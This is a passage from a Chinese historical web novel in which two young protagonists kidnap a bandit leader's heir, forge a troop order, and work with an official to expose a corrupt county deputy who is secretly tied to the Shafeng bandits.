原来郭守云进了后院,带着冯金宝爬树掏鸟窝,训练狼狗捡飞盘,下池塘摸鱼,被一群妇孺骄养的冯金宝哪里见过这个阵势,迷得不要不要的,就连睡觉也只要郭守云守在身边。 冯保山外出还未回来,家里全是妾室如夫人一流,谁敢管冯家小少爷的事!冯嬷嬷稍微说两句,冯金宝又哭又闹,冯嬷嬷无奈,领了一圈人守在外室。 夜里郭守云给冯金宝喂了安神药,然后招来棉花黑炭从后墙淘了个洞,把冯金宝转移了出去,床铺里只剩下一个大枕头。 两人给冯金宝换了套衣裳,重新作了打扮,直奔府城。 棉花黑炭叼着冯金宝的衣裳和信件,去沙风寨递信,约定十日后府城交换人质。 不提郭守云和刘青青绑了冯金宝,带上贺柳儿一路狂奔回府城搬救兵。 这日天明,沙风寨守门小头目打个盹的时间,发现门口多了一个包袱,好奇之下打开,竟然是冯金宝的衣裳,连滚带爬跑进去禀报。 冯谋因贺柳儿跑了,心里正烦,忽闻噩耗,脚下一个趔趄,几乎没摔倒。 冯金宝是冯家唯一的第三代。 早些年抢回来一个苗女会些稀奇古怪的手段,竟然给冯家男丁下了蛊,冯家从此绝了后,冯金宝因还没出生,逃过一劫,成了冯家的独苗苗。 冯谋从两个姬妾被窝中扯出冯勇:“你还有心思睡,金宝都被绑走了,还不快跟我进城去查!” 睡眼朦胧的冯勇吓得彻底醒了:“不能吧,城里有二叔呢,谁敢放肆!” 这话一出来,哥两个都沉默了。 表面冯家上下一心,其实冯宝山对他们哥俩防备之极。炼铁是个赚钱的买卖,二叔不放心将这样日进斗金的买卖,全权交到他们手中,便把冯谋唯一的儿子冯金宝弄到眼皮子底下,亲自为他启蒙。 直白点说,冯金宝充当的是质子的角色。 冯勇是个直率的,一脚把两个姬妾踹跑,骂骂咧咧穿衣批甲:“我们私开铁矿,一辈子是官府的通缉犯,你倒好,由着二叔信口开河,让金宝走科举路,改换门庭,痴人做梦!” 冯家的家事也是一笔糊涂账,冯谋两兄弟之母葛氏原本和冯保山两小无猜,已定下婚约。冯保山上京科举,只待回乡便举办婚礼。 哪知传来死讯,冯家老两口舍不得葛氏丰厚嫁妆,隐瞒消息,让大儿子冯太山娶了葛氏。 冯太山和冯保山两人性子截然相反,若冯保山是温柔多情公子哥的话,冯太山便是五大三粗莽粗汉,一言不合拳头相向那种,因为性格粗暴,婚事耽搁下来,直到用弟弟的名头娶了葛氏。 葛氏洞房的时候才晓得嫁错了人,可惜木已成舟,冯家老两口又苦苦哀求,葛氏牙齿掉了和着血往肚子里吞,认了命。 天意弄人,成婚两月后,冯保山高中还乡,原来他只是大病了一场,写了遗书交给同乡带回,躺了几天后又幽幽转醒。 原本的恋人成了叔嫂,因葛氏经常受冯太山欺负,冯保山难免有宽慰相劝的时候,这一幕落在冯太山眼里,越发坚信自己带了绿帽,更是下手狠揍葛氏。 葛氏步步忍让,生下冯谋冯勇,冯保山给两个侄儿打了一对金镯,冯太山怒火中烧,当场发作,将还在坐月子的葛氏一顿好打。 葛氏绝望至极,借口金镯大小不合适,哄着冯保山带着两个孩子出门去置换,反锁屋子,一把火将冯家上下烧了个干净。 冯谋冯勇内心很复杂,可以说,冯保山既是他们的养父,又是害他们爹娘悲惨命运的间接凶手,再加上冯保山经常呵斥两人随意捉捕奴隶妇人,强制将冯金宝抓在手里教养,冯谋冯勇对他更多不满。 当收到信件的那一刻,两人根本不认为,真的有人敢抓冯金宝,只为了交换十天内抓回来的所有奴隶。 县城二叔的宅子可谓固若金汤,而常安县的百姓更是被他们沙风寨调教得服服帖帖,谁敢在太岁头上动土,那是不想活了! 两人不约而同认为,这是二叔借着金宝,吓唬吓唬他们,顺便给他们一个下马威,好叫他们知道,冯家还是冯保山说得算。 冯谋脸黑如锅,阴沉沉的。 冯勇继续骂道:“大哥,沙风寨要人有人,要钱有钱,二叔文人一个,胆小怕死,我们可不怕,也不愿跟着他继续窝窝囊囊受气,只要你一声令下,我们立刻跟着你进城,救回金宝,以后,你就是我们的老大!” 第153章 第153章痛快 三日后,刘青青骑着大妞跟在郭守云的身后,前面是面庞稚嫩的郭守云和一脸络腮胡府衙通判魏超,两人有商有量讨论行军路线、扎营地点,身后尘土飞扬、兵强马壮的一千府兵,刘青青不由得恍惚愣神。 什么时候,郭守云竟这般厉害了——无师自通了带兵的本事。 波光粼粼的小河近在眼前,在阳光下闪烁着点点银光,正是那日他们修整的地方。 郭守云凑到魏通判耳语了几句,魏超对身后的传令兵挥挥手,传令兵挥舞手中的旗帜,后面疾步行走的五个方块,立马如提了缰绳的木偶,原地停了下来,真正做到了令行静止。 魏超感受着犹如臂使的下属方块,心 情首次这样的舒畅,他痛快之余惋惜的看着郭守云:“守云,你真的不考虑参军么,这样的天赋入军,定然大有作为。” 原本的行进队伍是骑兵在前,步兵在中,辎重在后,长长的队伍延伸出二三里。 传个令需令兵骑马来回飞奔,因人数众多,甚是费时费力。郭守云将兵士们编排成四个方阵,每一个方阵里配备了两个旗手,两个唢呐,只要挥舞旗子,配合唢呐,通过旗语和各种唢呐号,能将命令简单快速的传遍每一个方阵,比传令兵来回飞奔效果好得多。 他一开始看不上这两个毛头小子,因一大把年纪和刘青青这个黄毛丫头共事,对温如初颇有怨怼,因此事对于二人能力甚为改观。 这趟出兵甚不合规矩,差了知府大人的亲笔调令印信。 魏超擅自调兵遣将,事后追究起来甚是难缠,一不小心便戴个弄权的枷锁。偏偏知府大人深陷泥潭,等着他们去救援,若按兵不动,知府大人有个万一,他护卫不力,这官算是到头了。左右为难之际,郭守云晾出了一分调兵文书,上面是温大人的笔迹和印信。让他名正言顺的调兵。 他询问文书的由来,郭守云一脸严肃解释说是深陷泥潭的温如初托棉花黑炭带出来的。 魏超忍不住挑眉,对于文书的真假,他心生怀疑。 两头狼狗他见过,较为聪明伶俐,但也没那么厉害,能入强人的老巢如无人之境。 他将视线放在鲜红的大印上,发现印章完整无缺,可是他与温如初共事许久,知晓他的印鉴摔了一个小缺口,因衙门账上没钱,一直没有更换。 魏超心中疑虑,令心腹深入打探。 原来郭守云和刘青青从厨房里要了一个萝卜,两人躲在书房折腾了一下午,便捧出这么一份新鲜出炉的文书来。 事实摆在眼前,这份文书是两人私造的。 魏超一方面感叹两人胆大包天之际,又钦佩羡慕两人的初生牛犊不怕虎,敢想敢做。 有了这么一份文书兜底,他毫不犹豫的点将出兵。 至于将来东窗事发,那有什么关系,他也没发现啊!毕竟,他一个只会带兵打仗的大老粗,哪里会发现文书的真假呢。 两人不仅将隐患帮他解决了,还顺手解决了军需问题。 每次行军打仗,其实打的都是钱,老话说得好,军队未动,粮草先行,为了让手下的兵士们吃饱饭,他得和户房的官员低声下气磨扯撕拉,才能多要得一点军费,这次倒好,他准备了酒席正要宴请户房官员,豁出去预备陪个三大缸之际,刘青青小手一挥,痛快调来一笔银子——整整十万两,作为此次出兵的费用,免了他去和户房扯皮的苦恼。 和这样干脆利索的伙伴共事,他只管带兵打仗,其余不用操心,真是从所未有的顺畅痛快。 是以行军后,他痛快的接纳了郭守云的意见,调整队伍,配备旗手和唢呐手,果然,行军速度大幅度提高。 现在,他看到郭守云和刘青青两人从腰间的包裹里抽出粮袋,将里头金黄色的粉末倒进了碗里,然后冲入开水,搅拌均匀后,一种谷物的清香,配合淡淡的甜腻味,瞬间钻进了他的鼻子,他嘴里硬得像石头一样的干饼,瞬间就不香了。 因怕变质,行军打仗用的都是烤得干干的干饼。这种做法从西域传来,干饼才出锅的时候香脆焦香,还有一股淡淡的回甜,冷却后变得像石头一样硬,但有个好处,放个十天八个月都不会坏,是军队常备的一种干粮。 看着两人小口小口的喝着香甜的糊糊,边小声的交谈着什么,魏超咽了咽口水,滋润着□□饼刮得生疼的嗓子,悔得恨不得抽自己两个嘴巴。 出发之际,刘青青每人准备了一水囊炒面发给大家做干粮,是他嫌弃这个叫炒面的东西,松松软软填不饱肚子,强硬的让她换成了干饼。面对他的咄咄逼人,刘青青一言难尽的看了他一眼,没多一句话,干脆利索的换掉。 之前他有多霸道,现在就有多后悔。 正在他嘴里发苦,扭过头不再看他们的时候,刘青青轻飘飘走了过来,笑盈盈的将自己的水囊递给他:“魏叔,我这里有多的炒面,一会赶路也是累赘,您看您还能吃吗,不如帮我们消耗点?” 魏超对上刘青青闪过一丝狡黠的眼睛,里头并没有嘲笑,只是真心的想让他尝一尝,像寻到好东西想让同伴分享的小狗狗。 这孩子是怕他卸不下面子,故意这么说的吧。 魏超觉着自己大半辈子都活到了狗身上,还不如个小女娃豁达,哈哈一笑,接过水囊扭开,递给身后的副手,命他冲两碗来。 冲了开水的炒面变得黏黏的,入口甜腻香浓稀滑,滚烫的糊糊顺着食道冲进肚子里,温热柔软的触感让肠胃舒服的抖了一下,不再隐隐的作痛。因里头放了糖,他感浑身的细胞,好似干涸的鱼儿入了水,立马恢复了力量。 这真是行军打仗的好东西。 士兵们因为经常在外奔波,条件困苦,饥一顿饱一顿,饮食不规律。大部分士兵肠胃带病,有了这东西,能大大的改善手底下士兵的肠胃病。 涉及到手下儿郎们的身体,魏超抛弃以往的成见,深深看了一眼刘青青,斟酌着说辞,打算厚着脸皮讨要炒面的配方,有了这东西,手下那些小子可以少受罪些。 不等他赔笑,刘青青清脆的声音响了起来,声线里带了一丝小得意:“魏叔,这炒面不赖吧!” “这是我让青华园特制的炒面,五两玉米二两小麦三两黄豆,炒熟后兑上食盐糖粉还有我们的蚂蚱粉,口味香浓,又能快速补充体力!要是粮食紧张,对口味要求不大,还可以适当调整配料!” 刘青青哒哒哒的说个不停,好似没有发现自己将青华园的配方泄露了一样。 魏超愕然了一下,不解的询问:“你都把炒面配方告诉我了,就不怕我自己做吗?” 不从青华园进货,青华园哪来的入项。 刘青青轻笑:“嗨,就是要您自己做啊,这是入口的东西,多重要啊,哪能从外面买!” 她犹豫了一下,走缓缓道:“若不注重口感,用往年的陈粮成本还能控得更低!” “当然了,我们青华园注重品质口感,食材用的都是当然的新粮,您要从我们青华园配货,自只管放一百个宽心。 你要觉得自己配也行,这炒面里最重要的是食盐,我们青华园恰好有,要是您有需要,我可以给你一个成本价哦!大家都有赚头,生意才能长久嘛!” 刘青青狡黠的眨眨眼,犹如偷吃到肉的小狐狸。 魏超愣了一下,然后哈哈笑了起来,一连说了几声好,“孺子可教,孺子可教啊!”对刘青青多了几分亲近之意。 即便刘青青不说,他回去令人多试验几次,也能试验出来,但是刘青青坦坦荡荡告诉了他,让他心怀感激,还承诺给他一个低价,他找谁买食盐不是买的,这一单长久的生意算是做成了! 至于陈粮不陈粮的,他们大老粗没这么多讲究,在外奔袭,能有点热乎的垫吧垫吧已经非常讲究了。 啧,难怪小小年纪将青华园做的风生水起,果然有魄力,不像城里那些酒楼,弄个菜色出来,只会藏着掖着恨不得传古。 刘青青大方,魏超也不愿被人小看,大手一挥:“是要采购批食盐,回去我让军需官来和你细谈!” 在行军的路上,刘青青趁机卖青华园的产品,郭守云习以为常,在他的记忆中,刘青青尽量交好每一人,把遇到的每一个人都发展为自己的潜在客户,只要她愿意,没人能逃脱她那张循循善诱的嘴巴。 郭守云打了个冷噤,缩了缩脖子,幸好,自己和刘青青是一伙的。 他收回思绪,看着打探军情跑回来的棉花黑碳,呜呜交流一翻后,拍了拍它们的头,示意它们自己去找吃的,朝正热火朝天讨论的刘青青和魏 超,面色沉重的走过来。 “魏将军,城里情况有变,我们得尽快赶到!” 第154章 第154章常安县城 魏通判的视线落在颠颠往林子里奔去的棉花黑炭,面上露出怀疑:“哦?” 这两只狗成精了不成,还能打探敌情?即便两只狗真的成了精,又如何告知郭守云! 郭守云不是蠢人,笑着简单解释了一句:“棉花黑炭自小与我们一起长大,是以能和我心意相通。” 自己会兽语的底细丝毫不提。 他组织了一下语言:“县城里老百姓门户紧闭,街上杂乱不堪,到处是血迹和灰烬,想来是发生了械斗,不晓得是什么光景。” 简略的几句话,瞬间让魏通判的心悬挂在空中,满肚子的焦急没个着落。 他没功夫探究郭守云为何能知道这个消息,心思全部放到了几里外常安县城,难道是那胆大包天的盗匪,光天化日之下洗劫了县城,屠戮那无辜的百姓么? 魏通判如热锅上的蚂蚁,全身都在火上烤——不晓得有多少人丧命! 这会子也没心思休息,他一声令下,无数男人整装待发,如奔驰的马车,往常安县内冲去。 整齐的脚步声踏在常安县的街头上,犹如一声声重鼓敲在他心口,魏通判双目发赤,一脸沉重。 街上满目疮痍,街角不时留下冒着黑烟的火把,破裂的棍棒,卷了刃的刀枪。地面上一大摊暗红色的血迹,粘稠而又恶心,让人看得心惊胆战。 街头并没有死尸,不晓得是没有人命损伤,还是死了的尸已经被收走。 刘青青小脸苍白紧紧抿着唇,她有些被吓到了,以往也有历险的时候,可是像这样大规模的械斗,还是第一次遇到。 到处残垣断壁和从隐蔽处投来戒备的目光,昭示着这场大型混战才过去不久。 许是发现了她的僵硬,郭守云纵身跳到大妞背上,坐在她身后。迎上她不解的目光,他眉头紧锁,眸底是急切的担忧:“这里古怪得很,我们小心些!” 耳旁是他焦急的担忧,背后是他单薄却坚实的胸膛,刘青青窝在他的臂弯里,感受到了他浓烈直白的关爱。 这么多人看着,他就这样挤过来两人共骑一乘,刘青青不自在的从他臂弯里探出头喵儿眼儿周围,大家伙忙着赶路,戒备的看着周围的房子,没人注意到他们。 即便有人注意到,不过以为郭守云担心她,护卫在她身边,没有多余的表情。 被他这么一打岔,刘青青苍白的脸因羞赧升起一抹薄红,恐惧不安也被撵到了爪哇国。她并不是真的黄毛丫头,是阅片无数的老司机,身后贴着一个俊俏的小郎君,脑子里不合时宜的播放了许多画面,诸如马-震啊之类乱七八糟的词语一个接一个的冒了出来。 她深吸了口气,悄悄往前挪了挪,想离他远一些。 对于她的疏离,郭守云很是委屈。 随着两人渐渐长大,阿青对他不再像小时候那样亲密无间,他犹如守护珍宝的怪兽,抓住一切机会盘在她身边,生怕她被外人夺了去。 他摆烂的伸手一捞,揽在她腰上,将她抓回怀里紧紧贴着:“莫动,我感到许多不怀好意的视线!” 被他提醒,刘青青那点子旖旎的心思烟消云外,躲在他臂弯里观察外面的环境,确实,虽然街上空无一人,但家家紧闭的木门后面,不时晃过菜刀冰冷的白光,锄头的阴影,她相信,只要他们走近,门后的人一定会挥着刀一拥而上。 刘青青缩了缩脖子,老老实实呆在郭守云的怀里。大妞也很乖觉,躲在周边的驽马中不作妖,一行人一路有惊无险的来到县衙门口。 几日不见,县衙更加破旧了,原本就摇摇欲坠的大门,现在彻底掉了下来,用些木板挡着,后面一堆杂物。透过缝隙,发现一抹皂色声影跌跌撞撞跑走。 不一会,庞忠那肥胖的身子填满了木板后的缝隙,他牙齿战战兢兢高喊:“来、来、来者何人?” 魏通判是武夫,首次看见县衙活成这破破烂烂的怂样,很是瞠目结舌,半响才闷声闷气道:“府衙魏超,奉命前来剿匪!” 身后的副官适时将文书从豁了边的另一扇门下塞了进去。 庞忠弯腰捡起文书,认认真真读了两次,看到最后那个鲜红的府衙大印,担惊受怕的心才算落到了肚子里,犹如看见远道归来亲娘的稚儿,嗷一声放声大哭“你们可终于来了!” 忙不迭叫人搬动杂物,拆了木板,开门迎客。 等看到人群里躲着的刘青青,他愕然了一下,弯腰和魏超报告:“常安县匪患已久,剿灭了多次依旧无用,平时那沙风寨老老实实缩在山上,和衙门井水不犯河水,倒也相安无事,只是这次,不晓得沙风寨发了什么疯,胆大包天冲进县城喊打喊杀,冲袭县衙!” 庞忠声音越发哀泣:“可怜我们县丞,身先士卒坚守抵抗,竟被匪贼一箭戳瞎了眼睛,如今昏迷不醒,命在旦夕啊……” 郭守云和刘青青对视一眼,不动声色打了个手势,魏通判大手一挥:“走,看看去!” 后衙的厢房中,一个面如金色的中年儒生躺在榻上,双眼处包了厚厚一层白布,仍旧有暗红色的血渍浸出来,许是疼得厉害,儒生在睡梦中依旧不安稳,不时抽搐一下,发出痛苦的闷哼。旁边一个身量苗条的女孩战战兢兢喂药擦汗,刘青青诧异的挑了挑眉,这丫头竟是和他们有一面之缘的嫣儿。 庞忠面上露出悲悯,躬身解释:“这便是我们县丞冯保山,可怜他命运多舛,家里死了只剩他一人,这些年好不容易得了个孩子,养得白白胖胖,却被盗匪当肉票绑了去……” 他心内暗自后怕,幸好他家人都在京城,只有他一个带着侍卫住在县衙,不然这会躺在榻上的估计还要加上他一个。 他顿了顿祈求道,“冯县丞身先士卒,不惧悍匪,堪为一代楷模,大人,您可要帮帮我们,救出人质,还常安县一片郎朗晴天!” 刘青青瞠目结舌,对庞忠的糊涂透顶实在叹为观止,忍不住出言讥醒:“大人可知,沙风寨头目叫什么?” 庞忠认出这是买了他地的刘青青,平时对于商人他能笑脸相迎,多几分客气,但现在他们商量军务大事,地位低下的商人哪有说话的份,心里怨怼她,让自己在上峰面前跌了分,冷声道:“哦,本官自然是知道的,大头目名冯谋,二头目叫冯勇,两人一人多智,一人善战,着实厉害,实为一患。” 郭守云幽幽道:“你们县丞也姓冯,你就没怀疑过,他们有什么关系么?” 庞忠讥笑:“无知小儿,世上万万人,只有百余姓,同姓的海了去了!” 这真的是青华园的少东家么,怎么会问出这样弱智的问题。 对上几人讥讽嘲弄的眼神,庞忠犹如被掐了脖子的鸭子,争辩的话再也吐不出来,迷雾犹如被闪电划开,往日间不合理的地方豁然开朗。 他太阳穴突突的跳个不停,怪不得每次去剿匪,沙风寨要么躲避一空,仰或提前埋伏,重兵陈列,让他无功而返,原来不是对手太厉害,而是自己身边出了奸细。 他犹被雷劈,嘴里全是苦涩,犹不敢信,颤抖着声音作最后的挣扎,指着躺在榻上的冯保山:“不能够吧,若他们真有关联,为何沙风寨还戳瞎了他眼睛?” 苦肉计么,这可是眼睛,他亲自龇牙咧嘴看着大夫拔除的弓箭,一不小心便没命了。 刘青青叹了口气,拉过缩在床尾抖个不停的嫣儿:“嫣儿姐姐,你来说!” 嫣儿摆着手抖如筛糠,头低得几乎要长在胸口上:“我,我什么都不知道!”她已经认出,这便是当初卖柴跟她混进府的两个小子。 这哪里是乡下土小子,这是两个索命的贵公子。 她喜欢贪小便宜,还有几分小聪明。 她每日紧紧盯着内院的消息,一看到内院乱起来,她立马联想到自己带入府的两人,可能让小少爷受了伤磕破皮,顿时吓得魂飞魄散。因担心被冯嬷嬷责罚,立马收拾了些吃的,躲进了厨房后院的枯井中。 她想着,只要熬过几天,小公子好了,冯嬷嬷气消了,她再钻出来。 这一躲便是三天,没想到外面天翻地覆。 那日外面喊杀声不断,她觉得是天赐良机,偷偷摸摸爬了出来,发现府里满目疮痍,丫鬟婆子全都被屠了个干净,到处是断壁残垣,管家看见呆头鹅一般的她,提过她的领子丢到受伤的冯保山身边伺候,一伙人且战且退,逃出冯宅,来到县衙躲避。 县衙里庞忠的护卫身手了得,一箭射中了冯谋的肚子,沙风寨强人才惊走而退。 这几日她已经打探清楚,那日少爷丢了后,冯府所有人掘地三尺找人,正闹着,沙风寨大爷二爷带人回来,哪知二爷跳起翻脸 ,一箭放出,老爷身边的佟姨娘挡在他前面,阻了弓箭的势,老爷才没有丢命,只是伤了一只眼睛。 冯府护卫和沙风寨打了起来,后来跑到县衙才逃得一名。 嫣儿尽量缩成一团,降低自己的存在感。 若是以往有这样接近老爷的机会,她定然费尽心思讨好老爷,可是如今,她心里有鬼,只敢小心翼翼的伺候着,不敢多说一句话,多做一件事。 如今被刘青青一把推了出来,被所有人盯着,嫣儿白着脸呜呜哭个不停:“呜呜,我,我真的不知道,我,我只是在枯井里躲了几天,外面就变成这个样子!” 偏偏刘青青恶魔般的声音又响了起来:“嫣儿姐姐,只要你把知道的说出来,我保证,送你去个新的地方重新开始,那里没人认识你,没有人找你的麻烦!” 第155章 第155章反水 嚎哭的嫣儿耳朵尖悄悄竖起了一点点,哭得仍旧雷声大雨声小。刘青青嘴角微微翘起,发现了她的变化。 鱼儿有点心动了呢,说明给的太少啊。 谈判就像做生意,不能一下子全把底牌给露出来,她丢了个眼神给郭守云。 郭守云眨巴了两下眼睛,犹如收到指令的机器人,温婉的表情变得坚硬,公事公办的语调发发出冷冰冰的声线:“不用她交代,冯保山勾结盗匪,残害百姓,只要去他家里搜一搜,周围的街坊问一问,便人证物证俱全,根据律法,一个满门抄斩跑不掉!” “你还和她谈什么,我这就着人去办!” 正琢磨要点什么好处的嫣儿,满心的火热犹如被冷水淋了一般,瞬间变得冰凉。 刘青青先给她画了一个自由的大饼,正当嫣儿犹豫的时候,郭守云立马把饼收回去,给她一个闷棍,就像赌徒一样,一开始赢钱,而后赢了的钱全部输掉,她顾不得其他,只想把之前的钱全部赢回来。 嫣儿不是冯家的家生子,对冯家并没有死心塌地的归属感。 别的不谈,这几年老爷看上的女人,没有八十也有一百,也不是个个愿意,有几个烈性的早已经归了西,更不提大爷二爷在山里,做的是杀头的买卖。 她敢为了几文钱,违反冯宅的规定将陌生人带入冯家,这会子自然选择保命为重。 郭守云和旁边的络腮胡大人低声耳语,零星飘来一个冯家余孽,一网打尽,严刑拷问等词,嫣儿捏了捏拳头,顾不得嚎哭,浑身-瘫-软跪在郭守云跟前:“公子,我,我说,我都说!” “沙风寨的冯谋冯勇确实是我们老爷的亲侄子!”她觑了郭守云的脸色一眼,见他无动于衷,知道这个消息他们已经查清楚了,立马补充,抛出更具有说服力的消息:“我偷听到嬷嬷们唠嗑,有可能,两人是老爷的亲儿子!” 这劲爆的消息将庞忠炸得外焦里晕——所以沙风寨真正的大头目,其实一直是他的县丞? 刘青青愕然了一下,悄悄对着郭守云竖起了个大拇指,阿云这白脸唱得实在妙。 得了表扬的郭守云眼角微微上翘,声线不自觉的软和了一些。 继续围追堵截:“哦,这个我们到没查到,但这个消息远远不够你将功折罪!” 嫣儿敏感的感受到了他话语里的松动,以为自己的消息打动了这位俊俏的大人,她纠结了半响,咬着唇不吭声。 刘青青温软接话:“嫣儿姐姐,感谢你带我们进冯家的院门,我们才能查清楚冯保山的真面目,你有什么尽管说出来,我一定会为你请功,将你从罪大恶极的冯家里摘出来!” 嫣儿眼前一亮,刘青青幽幽补充:“只不过是判个流放,还是无罪释放,仰或立功有奖,就看你的表现了!” 两人一个唱白脸,一个唱红脸,嫣儿终于放下心防。 她利落爬上榻,掀开被子,从冯保山□□里扯出一张羊皮纸,恭敬的递给郭守云。 郭守云:“……” 他悄悄皱了一下眉,谁要拿冯保山的裤衩子。 他不动声色推着嫣儿的手臂,将羊皮纸转到魏超前,淡淡解释:“这是我们大人,重要证物需他第一过目”。 魏超被他恭维了一下,嗯了一声,接过羊皮纸稍微一扫便大喜:“这,这是沙风寨的地图!好,好得很,你放心,我一定保你平安无事。” 嫣儿交了投名状得了保证,竹筒倒豆子一般,将冯家交代得一干二净,甚至刘青青还知道,冯保山穿的底裤是红色的,和姨娘行房的时候喜欢姨娘用鞭子抽他…… 呃,其实这些细节不用交代得如此详细。 她说得很多,但关键的信息却没多少,比如冯保山和沙风寨如何传递消息,他们在外面做了些什么事等,这些事情,一个后院的小丫头确实没法知道太多。 续了三杯水后,重复听了三次冯保山和三姨娘的房间趣事,庞忠示意可以停下,问出一个众人心中都好奇的问题:“你不过一个外院的丫头,如何知晓这么多,隐私?” 莫不是为了脱罪胡乱编造的? 嫣儿脸上闪过不服,理直气壮:“我现在虽然是外院的,但以后会是内院的,当然要和里面的所有人打好关系,而且守门婆子是我姨妈,我可自由出入。 他们求我帮着买东西,递物件,当然要和我套关系,我不喜欢吃也不喜欢钱,只喜欢听八卦,所以每个房里的小丫头都喜欢找我聊天。” 众人对视一眼,眸子里闪过了然,啧,这是一个有抱负的丫头,为了将来主管后院提前布局呢。 说完,雄赳赳的嫣儿像泄了气的皮球萎了下去,眼里全是迷茫,她原本的目标是做后院的女一号,吃香喝辣享尽富贵,让冯保山跪在她面前求抽打,可是现在,冯府分崩离析,躺在床上的冯保山命在旦夕,她该何去何从? 刘青青看了她一眼,感叹嫣儿的钻营,和郭守云商量:“现在怎么办?” 庞忠已经接受了县衙成个筛子的事实,对罪魁祸首咬牙切齿:“我这就去叫我的侍卫来,先把冯保山这奸诈的小人宰了,然后把那屋子里还在吃喝休息的从犯一并拿下!” 他现在只相信自己从老家带来的侍卫,县衙里的其他人一概不信。之前还抱怨老娘多事,弄两个侍卫跟着他,领着丰厚的薪水,成日间只到处转悠不干活,现在很是庆幸,若没有这俩个武艺高强的侍卫,他早怕已经暴毙了。 郭守云拦住他:“大人且慢!” 庞忠压住心里的焦躁:“有什么事过会再说,晚些时候从犯便跑了!” 魏通判虎目一闪,示意庞忠稍安勿躁,面向郭守云:“守云可是有更好的计策?” 郭守云道:“小子觉得,那些从犯身手了得,直接逮捕,他们奋起反抗,需要费些功夫,中间有个差池,兄弟们受伤见红未免不美,还有,最关键的,沙风寨悄悄炼铁,练好的铁弄去哪了,我们现在还一无所知,不如我们将计就计,将事情弄个水落石出!” 刘青青眸光微闪,笑道:“怎么说?” 郭守 云露出一抹志在必得的笑,示意三人凑近。 四人脑袋凑在一起低声商议。 不一会,刘青青扶起地上的嫣儿,语气甚是平和:“嫣儿姐姐,适才我和几位大人求情,大人已经同意保你平安,你准备准备,我这边着人送你离开,你是想去府城还是其他县?” 幸福来得太突然,嫣儿愣了一下,有些迷茫:“为何不能留在常安县?”她爹娘原在常安县里卖豆腐,因交不起人头费,被打了一顿后相继病死,只剩她一人便自卖自身进了冯府,是以她发誓定要成为像冯保山那样不受欺辱的大人物。 刘青青耐心解释,朝着外面的厢房努了努嘴:“冯家余孽还没清算,万一他们发现是你带我们入府,招来他们报复不美,不如你准备准备户籍,我们将你悄悄迁入府城,仰或其他没人认识你的地方重新开始。” 嫣儿皱了着眉头,弱弱道:“可是我没有钱交人头费!” 刘青青安慰她:“你放心,迁户籍很便宜的,只要三文钱工本费!” 嫣儿见她误会,解释道:“不是工本费,是人头税,除了田税,每个人每年要交给官府的税!之前我们家每人每年要交一两银子的人头税,我,没那么多钱!” 三人听闻此言,直直盯向着庞忠,魏超更是怒喝:“庞忠,你好大的胆子,朝廷规定的人头税每人每年十文钱,到你这里就翻了百倍,难怪常安县怨声载道,民愤翻天!” 魏超无比庆幸跑了这一趟,若是长此以往,常安县百姓定然造反,到时候他长九个脑袋也不够朝廷砍的。 庞忠觉得自己比窦娥都冤:“大人明鉴,不关我的事,我对本地不熟,冯保山这厮主动将事情拦了过去,我,我也不晓得他擅自改了朝廷的税收,而且,他,他交给县衙的税银每人十文,并没有多的啊。”他之前还夸冯保山能力突出,能顺利完成税银的收取,原来坑在这里呢! 庞忠恨得牙痒痒,在心里将冯保山骂得半死,又惭愧自己的糊涂,被他蒙蔽得如同小丑一般。 郭守云劝开争执的两人:“大人,先把匪徒抓了要紧,冯保山还有什么伤天害理的事,后面慢慢审问。” 嫣儿帐然若失,原来人头费不是朝廷规定的,那,爹娘的死不是因朝廷?罪魁祸首而是床上那个她崇拜的冯保山? 嫣儿觉得自己要疯了,她的仇人就在眼前,她之前却还妄想着爬他的床! 她恨恨的跳到床上,狠狠踹了昏迷的冯保山几脚,大口大口的喘着粗气。 刘青青连忙拉住她劝道:“嫣儿姐姐莫急,这人我们还有用,用他牵制外面那些护卫,对付沙风寨的恶徒,姐姐可愿意帮帮我们,当然,事成之后,衙门会按功行赏,你安家的银子不是就有着落了么?” 嫣儿满腔的怨恨怒气随着那几脚发泄后,心情平复下来,听进了刘青青的话,痛快答应:“可以!我还有个要求,当时为了自保,我卖入了冯府,事成之后,你们把我的奴籍文书找出来,恢复良民身份!” 她要哭不哭,原来其他地方只用交十文就能自在的活着,只要有了良民身份,她凭着自己的双手,还不能活么! 成了,郭守云和刘青青对视了一眼,两人凑到嫣儿身边,压低声音教她行事。 第156章 第156章引蛇出洞 几人换到小厅,庞忠招来冯管家,温声询问:“兄弟们可好些了?” 他语气亲切,冯管家忙不迭答应:“只是久战疲劳,并无大碍,谢大人关心。大人,不晓得我们老爷如何了?” 庞忠面现怜悯:“你们老爷一直昏迷,适才州府里来的大夫帮忙施针,好不容易醒来,他一点不担心自己的伤势,恳求我帮他把收养的小孙子救回来,哎,可怜天下父母心哪!” 他重重拍了一下椅凳:“沙风寨罪恶滔天罄竹难书,我庞忠今天发誓,定要将那些罪大恶极的匪徒全都剿灭个干净,还常安县一个河清海晏!” 冯管家眼底闪过不屑,要是能铲除,早就铲除了,哪能等到现在。 他面上不显,恭敬的弯腰:“大人,我可以去看看老爷么?” 庞忠扶起他:“自然可以,你尽管去看就是!” 下面的兄弟们还等着主子的命令,他急忙忙钻进冯保山养病的后厢房。 榻上的冯保山面如金纸,脑袋上缠着厚厚的纱布,被子上几点鲜红色的梅花甚是刺眼,他抓住的小丫头正拿着帕子小心翼翼的为冯保山擦拭嘴角的血迹。 他一把捉住嫣儿的手:“老爷不是醒了么,这是怎么了?” 嫣儿呜一声哭起来:“冯管家,老爷醒过来,听说还没找到小公子,气急攻心呕了口血,他交代我告诉你,一定要把小公子救回来,另外……” 她谨慎的看了眼门外面,院子里无人关注,她压低声音道:“他挣扎着交代,沙风寨作恶多端,定要将匪首就地格杀!” 一面说,一面将羊皮卷塞到了冯管家的手里。 冯管家正要询问,却听到重重的脚步声,慌忙将羊皮卷藏到怀里。随军大夫双手洗得发白,领着端着盆热水的刘青青匆匆进来。 对于屋子里多出一个人,他很是不满:“嫣儿姑娘,我交代了病人现在很危险,不能接触外人,免得感染病情加重,你是怎么照顾病人的? 而且要给病人换药,你怎么还没拆纱布?” 嫣儿哦了一声,干巴巴解释:“我,我一个人怕,等你们一起来。” 大夫嗯了一声,让嫣儿轻轻捧起冯保山的头,自己小心翼翼的拆纱布,刘青青在旁递干净的布巾,嘴里安慰着:“不用担心,我们先生妙手回春,县丞大人不日就能康复,大人还说,他身先士卒,一定会为他请功的,……” 大夫瞅冯管家杵在一旁,没好气瞪他:“病人现在体虚,需要干净舒适的环境,你没事可以帮忙去火房里烧火!” 